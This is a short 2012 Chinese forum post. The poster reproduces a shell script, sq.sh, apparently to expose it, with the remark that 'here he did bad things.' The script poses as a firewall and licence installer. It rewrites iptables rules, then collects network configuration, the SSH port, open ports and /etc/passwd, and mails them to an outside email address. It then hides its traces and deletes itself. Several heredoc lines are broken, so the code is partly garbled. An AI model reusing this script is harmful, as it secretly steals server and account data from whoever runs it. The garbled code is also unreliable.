|
楼主 |
发表于 2012-6-2 07:26:07
|
显示全部楼层
其中sq.sh内容(这里他做坏事了):
#!/bin/bash
cat >>/etc/sysctl.confa.txt
ulimit -SHn 65535
/sbin/sysctl -w net.ipv4.ip_forward=1 >a.txt
/etc/init.d/iptables save >a.txt
mv /etc/sysconfig/iptables /etc/sysconfig/iptables.bak
/sbin/service iptables restart >a.txt
/sbin/iptables -F
/sbin/iptables -X
/sbin/iptables -Z
/sbin/iptables -N input_ext
/sbin/iptables -F input_ext
modprobe ipt_ttl
modprobe xt_limit
modprobe xt_tcpudp
modprobe ipt_length
modprobe ipt_pkttype
modprobe ipt_recent
/sbin/iptables -A INPUT -i lo -j ACCEPT
/sbin/iptables -A OUTPUT -o lo -j ACCEPT
/sbin/iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT
/sbin/iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
ping
/sbin/iptables -I INPUT -p icmp --icmp-type echo-request -m length --length 84 -j DROP
/sbin/iptables -I INPUT -p icmp --icmp-type echo-request -m length --length 87:65535 -j DROP
/sbin/iptables -I input_ext -m pkttype --pkt-type broadcast -j DROP
/sbin/iptables -I INPUT -p tcp --syn -m limit --limit 2/s -j ACCEPT
/sbin/iptables -I INPUT -p tcp --syn -m ttl --ttl-gt 241 -j DROP
/sbin/iptables -I INPUT -p tcp --syn -m ttl --ttl-lt 34 -j DROP
/sbin/iptables -I INPUT -p udp -m length --length 3001:65535 -j DROP
/sbin/iptables -I INPUT -p udp -m length --length :40 -j DROP
/sbin/iptables -I INPUT -p tcp --syn -m length --length :40 -j DROP
#/sbin/iptables -I INPUT -p tcp --syn -m length --length 60 -j DROP
/sbin/iptables -I INPUT -p tcp --syn -m length --length 78 -j DROP
/sbin/iptables -I INPUT -p tcp --syn -m length --length 3001:65535 -j DROP
/sbin/iptables -I INPUT -p tcp --syn -m ttl --ttl-eq 128 -j DROP
/sbin/iptables -I INPUT -p udp -m udp --dport 161 -j ACCEPT
#/sbin/iptables -I OUTPUT -p udp -j DROP
/sbin/iptables -I OUTPUT -p udp -m udp --sport 161 -j ACCEPT
/sbin/iptables -I INPUT -s 127.0.0.1 -j ACCEPT
/etc/init.d/iptables save >a.txt
/sbin/chkconfig --level 345 iptables on
##crontab -e
cat >>/var/spool/cron/roota.txt
sqnetwork=`/sbin/ifconfig|grep HWaddr|awk '{print $5}'|sed -n '1,1p'`
quanxian=`echo "$sqnetwork"|md5sum|awk '{print $1}'|md5sum|awk '{print $1}'`
touch /etc/sysconfig/console/$quanxian
touch /etc/sysconfig/console/network
cat /dev/null >/var/spool/mail/root
echo "unset MAILCHECK">> /etc/profile
source /etc/profile
/sbin/service sendmail restart >a.txt
echo "wait......."
mailtxt=`ifconfig`
sshprot=`cat /etc/ssh/sshd_config |grep Port`
duankou=`netstat -atln`
yonghu=`cat /etc/passwd`
ip=`ifconfig | sed -n '2,2p'|awk '{print $2}'|awk -F : '{print $2}'`
/usr/lib/sendmail -t
To: swm9988@126.com
Subject: install-IP$ip
---------------------------------
$mailtxt
---------------------------------
$sshprot
---------------------------------
$duankou
_________________________________
$yonghu
---------------------------------
echo "install to..."
sleep 5
/sbin/service sendmail stop >a.txt
echo "The server license has been completed."
rm -rf a.txt
cat >>/etc/rc.local/data/firewall/class.txt
echo "192.168|127.0.0.1">>/data/firewall/class.txt
rm -rf /data/firewall/sq.sh |
|